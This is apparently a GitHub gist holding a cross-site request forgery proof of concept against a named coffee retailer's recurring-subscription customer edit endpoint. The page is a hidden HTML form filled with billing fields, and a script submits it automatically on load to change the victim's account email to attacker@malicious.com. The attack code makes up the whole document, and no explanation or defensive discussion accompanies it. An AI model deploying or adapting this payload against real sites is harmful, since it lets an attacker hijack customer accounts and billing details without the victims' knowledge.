Skip to content

Instantly share code, notes, and snippets.

@omerxx
Created May 5, 2020 23:51
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save omerxx/b121b08a314913d3a695395ea515f200 to your computer and use it in GitHub Desktop.
Save omerxx/b121b08a314913d3a695395ea515f200 to your computer and use it in GitHub Desktop.
<form method='POST' action='https://colonnacoffee.com/tools/recurring/customers/<RECURRING CUSOMTER HASH>/edit' target="csrf-frame" id="csrf-form">
<input type='hidden' name='billing_first_name' value='John'>
<input type='hidden' name='billing_last_name' value='Dow'>
<input type='hidden' name='billing_address_1' value='33 Flower Hill'>
<input type='hidden' name='billing_address_2' value='Flat 3'>
<input type='hidden' name='billing_company' value=''>
<input type='hidden' name='billing_country' value='United Kingdom'>
<input type='hidden' name='billing_province_state'>
<input type='hidden' name='billing_city' value='London'>
<input type='hidden' name='billing_postalcode' value=''>
<input type='hidden' name='email' value='attacker@malicious.com'>
<input type='hidden' name='billing_phone' value=''>
<input type='submit' value='submit'>
</form>
<script>
document.getElementById("csrf-form").submit()
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment